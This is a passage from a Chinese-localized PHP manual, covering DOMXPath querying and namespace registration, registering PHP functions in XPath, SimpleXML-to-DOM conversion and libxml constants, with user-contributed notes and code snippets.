echo '$list->length='.$list->length."\n<br/>\n";
?>
info at syncgw dot com 22-Sep-2011 09:05
A warning to all PHP programmer using this function PHP 5.0.0.0: We needed an equivalent to upper-case() function (is not available in XPath 1.0).

XML-Document:

<Rec>
<SourceRef>./c:calendar2</SourceRef>
<SourceRef>./c:calendar</SourceRef>
</Rec>

using

query('//DataStore[translate(SourceRef,"abcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZ")="./C:CALENDAR"]/.')

returns ZERO matches.

If you change XML-Source to

<Rec>
<SourceRef>./c:calendar</SourceRef>
<SourceRef>./c:calendar2</SourceRef>
</Rec>

everything works fine
yuriscom at gmail dot com 07-Sep-2011 10:29
I hope it will be helpful for someone:

I spent some time to solve the problem when you query a string with quotes inside.

Suppose you have:
$parameter = "aaa \"bbb\"";
$domxpath->query("//path[text()=\"".$parameter."\""];

In versions > 5.3.0 there is registerPhpFunctions where you can put an addslashes. But in older version you cannot do it in simple way.

So the solution is to use a concat function. So when you have a substring with " inside, wrap it with '. And when you have a substring with ', then wrap with in ".

The code is:

<?php
$dom = new DOMDocument;
$dom->loadXML("<name>'bla' \"bla\" bla</name>");
$xpath = new DOMXPath($dom);
$nodeList = $xpath->query("//name[text()=concat(\"'bla' \" ,'\"bla\"' ,\" bla\")]");
?>

Below is the function that receives a string and returns a concat pattern for the xpath query.

<?php
    function getPattern_MQ($pattern) {
        // initiating an array of substrings
        $ar = array();
        // points to the current position in a string
        $offset = 0;
        $strlen = strlen($pattern);
        while (true) {
            // find a position of quotes
            $qPos = strpos($pattern, "\"", $offset);

            if (!$qPos) {
                // no more quotes
                $leftOver = $offset - $strlen;
                if ($leftOver < 0) {
                    $string = substr($pattern, $leftOver);
                    $ar[] = "\"" . $string . "\"";
                }
                break;
            }
            // add the whole substring before the quotes into the array
            $ar[] = "\"" . substr($pattern, $offset, ($qPos - $offset)) . "\"";
            // add the quotes wrapped with single quot
            $ar[] = "'" . substr($pattern, $qPos, 1) . "'";
            $offset = $qPos + 1;
        }
        // join the array to get: concat("aaa",'"',"bbb",'"');
        $pattern = "concat(''," . join(",", $dynamicPatternsAr) . ")";
        return $pattern;
    }
?>
chris AT cmbuckley DOT co DOT uk 14-Apr-2011 07:31
To help with the problem where the default namespace is not registered with the DOMXPath object, you can use the following replacement to update your paths accordingly:

<?php

$xml = <<<EOS
<root xmlns="urn:test">
    <foo>bar</foo>
</root>
EOS;

$expression = '//foo';
$prefix = 'fakeprefix';

$doc = new DOMDocument();
$doc->loadXML($xml);

$context = $doc->documentElement; // or whichever element you choose
$xpath = new DOMXPath($doc);

// register namespace as below, and apply a regex to the expression
if (null !== $context->namespaceURI) {
    $xpath->registerNamespace($prefix, $context->namespaceURI);
    $expression = preg_replace('#(::|/\s*|\A)(?![/@].+?|[a-z\-]+::)#', '$1' . $prefix . ':$2', $expression);
    var_dump($expression); // string(16) "//fakeprefix:foo"
}

$foo = $xpath->query($expression, $context)->item(0);
var_dump($doc->saveXML($foo)); // string(14) "<foo>bar</foo>"

?>
kkez at example dot com 03-Sep-2010 07:51
If the query() function seems to ignore your $contextnode, and instead returns all the tags in the document, try to use a relative path (use a . in front of the query):

<?php
    $xml = "<?xml version='1.0' encoding='UTF-8'?>
        <test>
            <tag1>
                <uselesstag>
                    <tag2>test</tag2>
                </uselesstag>
            </tag1>
            <tag2>test2</tag2>
        </test>";

    $dom = new DomDocument();
    $dom->loadXML($xml);
    $xpath = new DomXPath($dom);

    $tag1 = $dom->getElementsByTagName("tag1")->item(0);

    echo $xpath->query("//tag2")->length; //output 2 -> correct
    echo $xpath->query("//tag2", $tag1)->length; //output 2 -> wrong, the query is not relative
    echo $xpath->query(".//tag2", $tag1)->length; //output 1 -> correct (note the dot in front of //)
?>

See that i couldn't use $xpath->query("tag2", $tag1) as per the documentation, since "tag2" is not a direct child of "tag1".
I don't know why this note was deleted, i just tested it and it's correct.
It's not a bug, it's simply not written in the documentation.
Anonymous 27-Nov-2009 12:26
I found this useful for building page templates

<?php
$xsl = new DOMDocument;
$xsl->load('layout.xsl');

// Set the <xsl:include> href attribute, the inner stylesheet to include in this layout
$xpath = new DomXPath($xsl);
$res = $xpath->query('//xsl:include');
$res->item(0)->setAttribute('href','page.xsl');
$xsl->save('media/xsl/layout.xsl');
?>
Niklas 27-Aug-2008 02:36
For XPath escaping use the following method (of course it could be more efficient).
<?php
public function xpathescape($string)
{
$result = 'concat(';

for($i=0, $j=strlen($string); $i<$j; ++$i)
{
if($i > 0)
$result .= ",";

if($string[$i] == '\'')
$result .= "\"".$string[$i]."\"";
else
$result .= '\''.$string[$i].'\'';
}

$result .= ')';

return $result;
}
?>

Use it this way:
<php
$xpath->query('//example[sub='.xpathescape($acomplexstring).']');

?>
adam dot prall at thinkingman dot com 19-Jul-2008 09:01
If you're wondering, like I was, why your XPath queries are not returning any of the new DOMElements you create in your (X)HTML documents, and only the ones originally loaded in with (for example) loadXML(), this is why; if you're doing things right, you have registered the nameSpace 'html' after creating your DOMXPath object thus:

<?php

class XPathQueryLength {
     private $nameSpace = '';
     function __construct(DOMDocument $doc) {
          $this->xpath = new DOMXPath($this->doc);
          $this->xpath->registerNamespace(
                 'html','http://www.w3.org/1999/xhtml' );
     }
     function queryLength($query) {
          return $this->xpath->query($query)->length;
     }
}

?>

...but don't forget that when adding new elements to the above DOMDocument $doc, to use createElementNS() instead of createElement(), otherwise you'll have this problem:

<?php

//$doc is a previously loaded XHTML document containing a normal html, head and body structure
//$body is the first selected tag using $doc->getElementsByTagName('body');

$pTag = $doc->createElement('p','This is a new paragraph!');
$body->appendChild($pTag);

$xPath = new XPathQueryLength($doc);
print $xPath->queryLength('//html:p');

output: 0

print $xPath->queryLength('//p');

output: 1

?>

So do this instead:

<?php

//$doc is a previously loaded XHTML document containing a normal html, head and body structure
//$body is the first selected tag using $doc->getElementsByTagName('body');

$pTag = $doc->createElementNS('http://www.w3.org/1999/xhtml','p','This is a new paragraph!');
$body->appendChild($pTag);

$xPath = new XPathQueryLength($doc);
print $xPath->queryLength('//html:p');

output: 2

print $xPath->queryLength('//p');

output: 0

?>

The resulting XHTML file from both example scripts looks much like this:

<html>
  <head></head>
  <body>
     <p>This is a hardcoded paragraph.</p>
     <p>This is a new paragraph!</p>
  </body>
</html>

...so you would think that a paragraph is a paragraph is a paragraph, since you never see the prefix, as in "<html:p>This is a new paragraph!</html:p>".

This may seem glaringly obvious, but I was writing a class that converts CSS queries into XPath queries, and the fact that a namespace had been registered was rather buried in the code.

We love the DOM, the DOM is good to us.
Nibinaear 03-Mar-2008 06:15
I've searched the entire web looking for a way to update / modify/ change/ alter the elements of an xml file and found NOTHING!

So here it is, the defninitive way to "Change XML elements with PHP" rather than adding / appending new ones. This uses XPATH:

<?php

// Create a DOMDocument instance
$xml = new DOMDocument;

// Ignore whitespace between nodes (default: true)
$xml->preserveWhiteSpace = false;

$file='about.xml';

// Load the XML data source
$xml->Load($file);

$xpath = new DOMXPath($xml);

$query='/regions/branch';

$entries = $xpath->query($query);

foreach ($entries as $entry)
{
  $entry->firstChild->nodeValue="like this!";
  echo $entry->firstChild->nodeValue;
}

$xml->save($file);

?>
ondrej dot fischer at 4internet dot cz 25-Oct-2007 06:46
Unfortunately PHP's DOM extension doesn't support use of:
<?xml-stylesheet type="text/xsl" ... ?>
processing instruction.
Here is an example, how to implement it using XPath query and extending DOMDocument by a method output().

<?php

// This simple function adds missing direct usage of anonymous instances
// in PHP5's reference model
function a($var) {
   return $var;
}

// Extended DOMDocument class
class MyDOMDocument extends DOMDocument
{

   public function output()
   {
      $stylesheets = array();
      $PIs = a(new DOMXPath($this))
                  ->query('/processing-instruction("xml-stylesheet")');

      foreach($PIs as $PI)
      {
         // This might be implemented cleaner by regular parsing
         // of DOMProcessingInstruction::data property
         if(ereg('type *= *"text/xsl" +href *= *"([^"]+)"', $PI->data, $mem))
         {
            // Here should be verified, that XSL file exists.
            a($stylesheets[] = new DOMDocument())->load($mem[1]);
         }
      }

      if($stylesheets)
      {
         $processor = new XSLTProcessor();
         foreach($stylesheets as $stylesheet)
            $processor->importStylesheet($stylesheet);
         return $processor->transformToDoc($this);
      }
      // If no stylesheet instructions present, return self directly
      else return $this;

   }
}

?>

Usage:

<?php

$document = new MyDOMDocument();
$document->load('my.xml');
echo $document->output()->saveXML();

?>

With following file my.xml:

<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="my.xsl" ?>
<my-root />

and existing file my.xsl that code will transform the xml file using my.xsl and output the result.
jbarnett at flowershopnetwork dot com 11-Sep-2007 01:46
The order of nodes in the return value is not guaranteed.

When my code was on an old server, the returned DOMNodeList was in document order.  On the new server, the returned DOMNodeList is in a consistent order, but it is not in document order.

PHP passes this function call off to the xmlXPathEvalExpression() function in libxml.  That function in libxml only accepts two arguments - the same two this PHP function accepts.  There must have been a change in the libxml version from the old server to the new server, and that libxml behaves differently.

This would be okay if PHP had a way to compare nodes so I can resort the nodes manually, but there is not.

So, there is no guaranteed way to get an ordered list of nodes like DOM 3 XPath provides.
Hayley Watson 12-Aug-2007 05:43
Note that if your DOMDocument was loaded from HTML, where element and attribute names are case-insensitive, the DOM parser converts them all to lower-case, so your XPath queries will have to as well; '//A/@HREF' won't find anything even if the original HTML contained "<A HREF='example.com'>".
nicolas_rainardNOSPAM at yahoo dot fr 10-Jul-2007 02:04
Please note that what clochix says is valid for *any* document which has a default namespace (as it is the case for XHTML).

This document :

<?xml version="1.0" encoding="UTF-8" ?>

<root xmlns="http://www.exemple.org/namespace">

    <element id="1">
    ...
    </element>

    <element id="2">
    ...
    </element>

</element>

must be accessed this way :

$document = new DOMDocument();
$document->load('document.xml');

$xpath = new DOMXPath($document);
$xpath->registerNameSpace('fakeprefix', 'http://www.exemple.org/namespace');

$elements = $xpath->query('//fakeprefix:element');

Of course, there is no prefix in the original document, but the DOMXPath class *needs* one, whatever it is, if you use a default namespace. It *doesn't work* if you specify an empty prefix like this :

$xpath->registerNameSpace('', 'http://www.exemple.org/namespace');

Hope this help to spare some time...
clochix at clochix dot net 01-Mar-2007 04:05
If you want to perform queries on XHTML documents, you must fix a default namespace:

<?php
$doc = new DOMDocument;
$doc->preserveWhiteSpace = true;
$doc->resolveExternals = true; // for character entities
$doc->load("http://www.w3.org/");
$xpath = new DOMXPath($doc);
// won't work
$entries = $xpath->query("//div");
// you should use :
$xpath->registerNamespace("html", "http://www.w3.org/1999/xhtml");
$entries = $xpath->query("//html:div");
?>
jakob dot voss at nichtich dot de 14-Nov-2005 12:33
You can transform the result nodes into new DOMDocument objects this way:

<?php
$result = $xpath->query($query);
$resultNode = $result->item(0);
$newDom = new DOMDocument;
$newDom->appendChild($newDom->importNode($resultNode,1));

print "<pre>" . htmlspecialchars($newDom->saveXML()) . "</pre>";
?>
Eric Hanson 12-Jul-2005 05:40
Two great XPath references follow.

XPath in Five Paragraphs (finally!):
http://www.rpbourret.com/xml/XPathIn5.htm

The w3c spec actually has a bunch of helpful examples:
http://www.w3.org/TR/xpath#location-paths


Registers the namespace with the DOMXPath object

  • ? DOMXPath::query
  • DOMXPath::registerPhpFunctions ?
  • PHP Manual
  • DOMXPath
  • Registers the namespace with the DOMXPath object

DOMXPath::registerNamespace

(PHP 5, PHP 7)

DOMXPath::registerNamespace — Registers the namespace with the DOMXPath object

说明

public DOMXPath::registerNamespace ( string $prefix , string $namespaceURI ) : bool

Registers the namespaceURI and prefix with the DOMXPath object.

参数

prefix

The prefix.

namespaceURI

The URI of the namespace.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

User Contributed Notes

igor dot pellegrini at diespam-berlinonline dot de 10-Mar-2015 07:32
The documentation is not really detailed.
Probably someone is also interested in the possibility of unregistering the namespace.

Worths to note that the original libxml function "xmlXPathRegisterNs()"

* Does NOT accept NULL or empty string for the argument "$prefix".

   and

* Unregisters the namespace if the "$namespaceURI" argument is NULL.

Here the documentation:
http://xmlsoft.org/html/libxml-xpathInternals.html#xmlXPathRegisterNs
xmedeko at gmail dot com 20-Sep-2011 04:58
A general way to register the root default namespace:

<?php
$xml = new DomDocument();
$xml->load('data.xml');
$xpath = new DOMXPath($xml);
$rootNamespace = $xml->lookupNamespaceUri($xml->namespaceURI);
$xpath->registerNamespace('x', $rootNamespace);
?>

And then just query:

<?php $elementList = $xpath->query('//x:items/x:name'); ?>
dulao5 at gmail dot com 16-Jun-2009 12:01
The following code can work for XML default namespace.
<?php
$xml = <<<EOT
<?xml version="1.0" encoding="UTF-8"?>
<entry xmlns="http://www.w3.org/2005/Atom" xmlns:other="http://other.w3.org/other" >
        <id>uYG7-sPwjFg</id>
        <published>2009-05-17T18:29:31.000Z</published>
</entry>
EOT;

$doc = new DOMDocument;
$doc->loadXML($xml);
$xpath =  DOMXPath($doc);

$xpath->registerNamespace('atom', "http://www.w3.org/2005/Atom");

$xpath_str = '//atom:entry/atom:published/text()';

$entries = $xpath->evaluate($xpath_str);

print $entries->item(0)->nodeValue ."\n";

?>
agent009 31-Mar-2009 04:55
Ok, here's a function that extends XPath syntax with the following special characters:

~ inserts default namespace prefix if defined

# shorthand for text()

% shorthand for comment()

$ shorthand for node()

?* shorthand for processing-instruction()

?foo shorthand for processing-instruction("foo")

? shorthand for processing-instruction("")

^ escapes following character (with literal or SGML entity as needed)

All of the above except ^ are ignored within quoted strings

<?php
function extendXPath($str, $defns = NULL) {
   $quote = false;
   $map = array(
      '~' => isset($defns) ? "$defns:" : '',
      '#' => 'text()',
      '%' => 'comment()',
      '$' => 'node()'
   );
   $out = '';

   for ($i = 0, $len = strlen($str); $i < $len; $i++) {
      $c = $str[$i];
      if (!$quote && array_key_exists($c, $map)) {
         $out .= $map[$c];
      } else switch ($c) {
         case '^':
            $out .= htmlspecialchars($str[++$i], ENT_QUOTES);
            break;
         case '?':
            if ($quote) {
               $out .= $c;
            } elseif ($str[$i + 1] == '*') {
               $out .= 'processing-instruction()';
               $i++;
            } else {
               preg_match('/^\w+/', substr($str, $i + 1), $matches);
               $out .= 'processing-instruction("'.$matches[0].'")';
               $i += strlen($matches[0]);
            };
            break;
         case '"':
            $quote = !$quote;
         default:
            $out .= $c;
      };
   };

   return $out;
}
?>
cameron kellough 14-Apr-2007 10:33
This is called prefix mapping and it is necessary to use xpath to handle documents which have default namespaces. //root/item will search for items with no namespace, not items with the namespace described as the default in the xmlns declaration.  This problem is maddening as it just looks on the surface like xpath isn't working.
spam at spam dot spam 31-Mar-2005 12:46
It is mentioned in a few places on the web, but it wasn't mentioned here. You need to use this function to set up a prefix for the default namespace of a document.

For instance, if you are trying to parse a Microsoft Spreadsheet XML file, which has the default namespace of "urn:schemas-microsoft-com:office:spreadsheet":

$doc = DOMDocument::load("my_spreadsheet.xml);
$xpath = new DOMXPath($doc);
$xpath->registerNamespace("m",
        "urn:schemas-microsoft-com:office:spreadsheet");
$query = '/m:Workbook/m:Worksheet[1]/m:Table';
$result = $xpath->query($query, $doc);

You can use anything in place of the 'm', but you have to specify something! Just asking for "/Workbook/Worksheet/Table" doesn't work.


Register PHP functions as XPath functions

  • ? DOMXPath::registerNamespace
  • DOM 函数 ?
  • PHP Manual
  • DOMXPath
  • Register PHP functions as XPath functions

DOMXPath::registerPhpFunctions

(PHP 5 >= 5.3.0, PHP 7)

DOMXPath::registerPhpFunctions — Register PHP functions as XPath functions

说明

public DOMXPath::registerPhpFunctions ([ mixed $restrict ] ) : void

This method enables the ability to use PHP functions within XPath expressions.

参数

restrict

Use this parameter to only allow certain functions to be called from XPath.

This parameter can be either a string (a function name) or an array of function names.

返回值

没有返回值。

范例

The following examples use book.xml which contains the following:

Example #1 book.xml

<?xml version="1.0" encoding="UTF-8"?>
<books>
 <book>
  <title>PHP Basics</title>
  <author>Jim Smith</author>
  <author>Jane Smith</author>
 </book>
 <book>
  <title>PHP Secrets</title>
  <author>Jenny Smythe</author>
 </book>
 <book>
  <title>XML basics</title>
  <author>Joe Black</author>
 </book>
</books>

Example #2 DOMXPath::registerPHPFunctions() with php:functionString

<?php
$doc = new DOMDocument;
$doc->load('book.xml');

$xpath = new DOMXPath($doc);

// Register the php: namespace (required)
$xpath->registerNamespace("php", "http://php.net/xpath");

// Register PHP functions (no restrictions)
$xpath->registerPHPFunctions();

// Call substr function on the book title
$nodes = $xpath->query('//book[php:functionString("substr", title, 0, 3) = "PHP"]');

echo "Found {$nodes->length} books starting with 'PHP':\n";
foreach ($nodes as $node) {
    $title  = $node->getElementsByTagName("title")->item(0)->nodeValue;
    $author = $node->getElementsByTagName("author")->item(0)->nodeValue;
    echo "$title by $author\n";
}

?>

以上例程的输出类似于：

Found 2 books starting with 'PHP':
PHP Basics by Jim Smith
PHP Secrets by Jenny Smythe

Example #3 DOMXPath::registerPHPFunctions() with php:function

<?php
$doc = new DOMDocument;
$doc->load('book.xml');

$xpath = new DOMXPath($doc);

// Register the php: namespace (required)
$xpath->registerNamespace("php", "http://php.net/xpath");

// Register PHP functions (has_multiple only)
$xpath->registerPHPFunctions("has_multiple");

function has_multiple($nodes) {
    // Return true if more than one author
    return count($nodes) > 1;
}
// Filter books with multiple authors
$books = $xpath->query('//book[php:function("has_multiple", author)]');

echo "Books with multiple authors:\n";
foreach ($books as $book) {
    echo $book->getElementsByTagName("title")->item(0)->nodeValue . "\n";
}

?>

以上例程的输出类似于：

Books with multiple authors:
PHP Basics

参见

  • DOMXPath::registerNamespace() - Registers the namespace with the DOMXPath object
  • DOMXPath::query() - Evaluates the given XPath expression
  • DOMXPath::evaluate() - Evaluates the given XPath expression and returns a typed result if possible

User Contributed Notes

There are no user contributed notes for this page.


DOM 函数

Table of Contents

  • dom_import_simplexml — Gets a DOMElement object from a SimpleXMLElement object

User Contributed Notes

There are no user contributed notes for this page.


Gets a DOMElement object from a SimpleXMLElement object

  • ? DOM 函数
  • libxml ?
  • PHP Manual
  • DOM 函数
  • Gets a DOMElement object from a SimpleXMLElement object

dom_import_simplexml

(PHP 5, PHP 7)

dom_import_simplexml — Gets a DOMElement object from a SimpleXMLElement object

说明

dom_import_simplexml ( SimpleXMLElement $node ) : DOMElement

This function takes the node node of class SimpleXML and makes it into a DOMElement node. This new object can then be used as a native DOMElement node.

参数

node

The SimpleXMLElement node.

返回值

The DOMElement node added or FALSE if any errors occur.

范例

Example #1 Import SimpleXML into DOM with dom_import_simplexml()

<?php

$sxe = simplexml_load_string('<books><book><title>blah</title></book></books>');

if ($sxe === false) {
    echo 'Error while parsing the document';
    exit;
}

$dom_sxe = dom_import_simplexml($sxe);
if (!$dom_sxe) {
    echo 'Error while converting XML';
    exit;
}

$dom = new DOMDocument('1.0');
$dom_sxe = $dom->importNode($dom_sxe, true);
$dom_sxe = $dom->appendChild($dom_sxe);

echo $dom->saveXML();

?>

参见

  • simplexml_import_dom() - Get a SimpleXMLElement object from a DOM node

User Contributed Notes

biniou at yopmail dot com 20-May-2016 09:58
Very useful to add a CDATA node with SimpleXMLElement (use it like addChild) :

<?php
class My_SimpleXMLElement extends SimpleXMLElement {

    public function addChildWithCData($name, $value = NULL) {
        $new_child = $this->addChild($name);

        $node = dom_import_simplexml($new_child);
        $no = $node->ownerDocument;
        $node->appendChild($no->createCDATASection($value));

        return $new_child;
    }
}
Jeff M 06-Mar-2009 01:09
SimpleXML is an 'Object Mapping XML API'. It is not DOM, per se. SimpleXML converts the XML elements into PHP's native data types.

The dom_import_simplexml and simplexml_import_dom functions do *not* create separate copies of the original object. You are free to use the methods of either or both interchangeably, since the underlying instance is the same.

<?php
    // initialize a simplexml object
    $sxe = simplexml_load_string('<root/>');

    // get a dom interface on the simplexml object
    $dom = dom_import_simplexml($sxe);

    // dom adds a new element under the root
    $element = $dom->appendChild(new DOMElement('dom_element'));

    // dom adds an attribute on the new element
    $element->setAttribute('creator', 'dom');

    // simplexml adds an attribute on the dom element
    $sxe->dom_element['sxe_attribute'] = 'added by simplexml';

    // simplexml adds a new element under the root
    $element = $sxe->addChild('sxe_element');

    // simplexml adds an attribute on the new element
    $element['creator'] = 'simplexml';

    // dom finds the simplexml element (via DOMNodeList->index)
    $element = $dom->getElementsByTagName('sxe_element')->item(0);

    // dom adds an attribute on the simplexml element
    $element->setAttribute('dom_attribute', 'added by dom');

    echo ('<pre>');
    print_r($sxe);
    echo ('</pre>');
?>

Outputs:

SimpleXMLElement Object
(
    [dom_element] => SimpleXMLElement Object
        (
            [@attributes] => Array
                (
                    [creator] => dom
                    [sxe_attribute] => added by simplexml
                )

        )

    [sxe_element] => SimpleXMLElement Object
        (
            [@attributes] => Array
                (
                    [creator] => simplexml
                    [dom_attribute] => added by dom
                )

        )

)

What this illustrates is that both interfaces are operating on the same underlying object instance. Also, when you dom_import_simplexml, you can create and add new elements without reference to an ownerDocument (or documentElement).

So passing a SimpleXMLElement to another method does not mean the recipient is limited to using SimpleXML methods.

Hey Presto! Your telescope has become a pair of binoculars!
crescentfreshpot at yahoo dot com 12-Dec-2007 12:22
justinpatrin at php dot net:
> To get a proper DOM document (which you need to do most things) you need...

No you don't. Just do:
<?php
$dom = dom_import_simplexml($xml)->ownerDocument;
?>
justinpatrin at php dot net 01-Jun-2006 09:44
I've found that newer versions of PHP5 require some special syntax in order to properly convert between SimpleXML and DOM. It's not as easy as calling dom_import_simplexml() with a SimpleXML node. To get a proper DOM document (which you need to do most things) you need:
<?php
//$xml is a SimpleXML instance
$domnode = dom_import_simplexml($xml);
$dom = new DOMDocument();
$domnode = $dom->importNode($domnode, true);
$dom->appendChild($domnode);
?>

Switching back, though, is, well...simple.

<?php
//$dom is a DOMDocument instance
$xml = simplexml_import_dom($dom);
?>


libxml

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • libXMLError — The libXMLError class
  • libxml 函数
    • libxml_clear_errors — Clear libxml error buffer
    • libxml_disable_entity_loader — Disable the ability to load external entities
    • libxml_get_errors — Retrieve array of errors
    • libxml_get_last_error — Retrieve last error from libxml
    • libxml_set_external_entity_loader — Changes the default external entity loader
    • libxml_set_streams_context — Set the streams context for the next libxml document load or write
    • libxml_use_internal_errors — Disable libxml errors and allow user to fetch error information as needed

User Contributed Notes

There are no user contributed notes for this page.


简介

These functions/constants are available as of PHP 5.1.0, and the following core extensions rely on this libxml extension: DOM, libxml, SimpleXML, SOAP, WDDX, XSL, XML, XMLReader, XMLRPC 和 XMLWriter.

User Contributed Notes

There are no user contributed notes for this page.


需求

This extension requires » libxml >= 2.6.0.

User Contributed Notes

There are no user contributed notes for this page.


安装

The libxml extension is enabled by default, although it may be disabled with --disable-libxml .

The optional --with-libxml-dir directive is used to specify the location of libxml on the system that PHP is being compiled on, otherwise only the default locations are scanned. The configure process checks for libxml (specifically, xml2-config) in the following order:

  1. The location ([DIR]) specified with --with-libxml-dir ([DIR]=/bin/xml2-config)

  2. /usr/local/bin/xml2-config

  3. /usr/bin/xml2-config

If configure cannot find xml2-config in the directory specified by --with-libxml-dir , then it'll continue on and check the default locations.

User Contributed Notes

fred5 at no dot spam dot co dot za 31-Jul-2014 10:29
(I tried to enter a bug but the PHP version selection drop down isn't working so I have entered here)

This documentation is very confusing as it refers to xml2-config as a directory and file interchangeably (it is a file) ...so I'm not clear whether to use the containing directory or the actual file in the switch


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

LIBXML_BIGLINES (integer)
Allows line numbers greater than 65535 to be reported correctly.

Note:

Only available as of PHP 7.0.0 with Libxml >= 2.9.0

LIBXML_COMPACT (integer)
Activate small nodes allocation optimization. This may speed up your application without needing to change the code.

Note:

Only available in Libxml >= 2.6.21

LIBXML_DTDATTR (integer)
Default DTD attributes
LIBXML_DTDLOAD (integer)
Load the external subset
LIBXML_DTDVALID (integer)
Validate with the DTD
LIBXML_HTML_NOIMPLIED (integer)
Sets HTML_PARSE_NOIMPLIED flag, which turns off the automatic adding of implied html/body... elements.

Note:

Only available in Libxml >= 2.7.7 (as of PHP >= 5.4.0)

LIBXML_HTML_NODEFDTD (integer)
Sets HTML_PARSE_NODEFDTD flag, which prevents a default doctype being added when one is not found.

Note:

Only available in Libxml >= 2.7.8 (as of PHP >= 5.4.0)

LIBXML_NOBLANKS (integer)
Remove blank nodes
LIBXML_NOCDATA (integer)
Merge CDATA as text nodes
LIBXML_NOEMPTYTAG (integer)
Expand empty tags (e.g. <br/> to <br></br>)

Note:

This option is currently just available in the DOMDocument::save and DOMDocument::saveXML functions.

LIBXML_NOENT (integer)
Substitute entities
LIBXML_NOERROR (integer)
Suppress error reports
LIBXML_NONET (integer)
Disable network access when loading documents
LIBXML_NOWARNING (integer)
Suppress warning reports
LIBXML_NOXMLDECL (integer)
Drop the XML declaration when saving a document

Note:

Only available in Libxml >= 2.6.21

LIBXML_NSCLEAN (integer)
Remove redundant namespace declarations
LIBXML_PARSEHUGE (integer)
Sets XML_PARSE_HUGE flag, which relaxes any hardcoded limit from the parser. This affects limits like maximum depth of a document or the entity recursion, as well as limits of the size of text nodes.

Note:

Only available in Libxml >= 2.7.0 (as of PHP >= 5.3.2 and PHP >= 5.2.12)

LIBXML_PEDANTIC (integer)
Sets XML_PARSE_PEDANTIC flag, which enables pedantic error reporting.

Note:

Available as of PHP >= 5.4.0

LIBXML_XINCLUDE (integer)
Implement XInclude substitution
LIBXML_ERR_ERROR (integer)
A recoverable error
LIBXML_ERR_FATAL (integer)
A fatal error
LIBXML_ERR_NONE (integer)
No errors
LIBXML_ERR_WARNING (integer)
A simple warning
LIBXML_VERSION (integer)
libxml version like 20605 or 20617
LIBXML_DOTTED_VERSION (string)
libxml version like 2.6.5 or 2.6.17
LIBXML_SCHEMA_CREATE (integer)
Create default/fixed value nodes during XSD schema validation

Note:

Only available in Libxml >= 2.6.14 (as of PHP >= 5.5.2)

User Contributed Notes

vetalstar at mail dot ru 16-Nov-2017 12:26
LIBXML_DOTTED_VERSION option doesn't work.
libxml version: 2.9.4

<?php

echo LIBXML_DOTTED_VERSION;
$xml = new SimpleXMLElement('<fasa_request id="1234567"/>', LIBXML_NOXMLDECL);

?>
@oneseventeen 05-Feb-2011 11:51
When inserting XML DOM Elements inside existing XML DOM Elements that I loaded from an XML file using the following code, none of my new elements were formatted correctly, they just showed up on one line:

<?php
$dom = DOMDocument::load('file.xml');
$dom->formatOutput = true;
//$dom->add some new elements with child nodes somewhere inside the loaded XML using insertBefore();
$dom->saveXML();
//output: everything looks normal but the new nodes are all on one line.
?>

I found I could pass LIBXML_NOBLANKS to the load method and it would reformat the whole document, including my added stuff:
<?php
$dom = DOMDocument::load('file.xml', LIBXML_NOBLANKS);
$dom->formatOutput = true;
//$dom->add some new elements with child nodes somewhere inside the loaded XML using insertBefore();
$dom->saveXML();
//output: everything looks newly formatted, including new nodes
?>

Hope this helps, took me hours of trial and error to figure this out!
zachatwork at gmail dot com 09-Feb-2010 11:30
Note: The LIBXML_NOXMLDECL constant is defined in this library but is not supported by DOMDocument (yet).

See also: http://bugs.php.net/bug.php?id=47137

<?php

print "PHP_VERSION:      ".PHP_VERSION."\n";
print "LIBXML_VERSION:   ".LIBXML_VERSION."\n";
print "LIBXML_NOXMLDECL: ".LIBXML_NOXMLDECL."\n";

$dom = new DomDocument();
$dom->loadXML("<foo />");

# This should work but doesn't.

print "DOMDocument doesn't honor LIBXML_NOXMLDECL:\n";
print $dom->saveXML(null,LIBXML_NOXMLDECL);

# This works, and will still work after the above is fixed.

print "Forwards compatible workaround:\n";
$lines = explode("\n", $dom->saveXML(null, LIBXML_NOXMLDECL), 2);
if(!preg_match('/^\<\?xml/', $lines[0]))
    print $lines[0];
print $lines[1];

?>

PHP_VERSION:      5.3.1-0.dotdeb.1
LIBXML_VERSION:   20632
LIBXML_NOXMLDECL: 2
DOMDocument doesn't honor LIBXML_NOXMLDECL:
<?xml version="1.0"?>
<foo/>
Forwards compatible workaround:
<foo/>


The libXMLError class

(PHP 5 >= 5.1.0, PHP 7)

简介

Contains various information about errors thrown by libxml. The error codes are described within the official » xmlError API documentation.

类摘要

libXMLError {
/* 属性 */
public int $level ;
public int $code ;
public int $column ;
public string $message ;
public string $file ;
public int $line ;
}

属性

level

the severity of the error (one of the following constants: LIBXML_ERR_WARNING, LIBXML_ERR_ERROR or LIBXML_ERR_FATAL)

code

The error's code.

column

The column where the error occurred.

Note:

This property isn't entirely implemented in libxml and therefore 0 is often returned.

message

The error message, if any.

file

The filename, or empty if the XML was loaded from a string.

line

The line where the error occurred.

User Contributed Notes

There are no user contributed notes for this page.


libxml 函数

Table of Contents

  • libxml_clear_errors — Clear libxml error buffer
  • libxml_disable_entity_loader — Disable the ability to load external entities
  • libxml_get_errors — Retrieve array of errors
  • libxml_get_last_error — Retrieve last error from libxml
  • libxml_set_external_entity_loader — Changes the default external entity loader
  • libxml_set_streams_context — Set the streams context for the next libxml document load or write
  • libxml_use_internal_errors — Disable libxml errors and allow user to fetch error information as needed

User Contributed Notes

There are no user contributed notes for this page.


Clear libxml error buffer

  • ? libxml 函数
  • libxml_disable_entity_loader ?
  • PHP Manual
  • libxml 函数
  • Clear libxml error buffer

libxml_clear_errors

(PHP 5 >= 5.1.0, PHP 7)

libxml_clear_errors — Clear libxml error buffer

说明

libxml_clear_errors ( void ) : void

libxml_clear_errors() clears the libxml error buffer.

返回值

没有返回值。

参见

  • libxml_get_errors() - Retrieve array of errors
  • libxml_get_last_error() - Retrieve last error from libxml

User Contributed Notes

There are no user contributed notes for this page.


Disable the ability to load external entities

  • ? libxml_clear_errors
  • libxml_get_errors ?
  • PHP Manual
  • libxml 函数
  • Disable the ability to load external entities

libxml_disable_entity_loader

(PHP 5 >= 5.2.11, PHP 7)

libxml_disable_entity_loader — Disable the ability to load external entities

说明

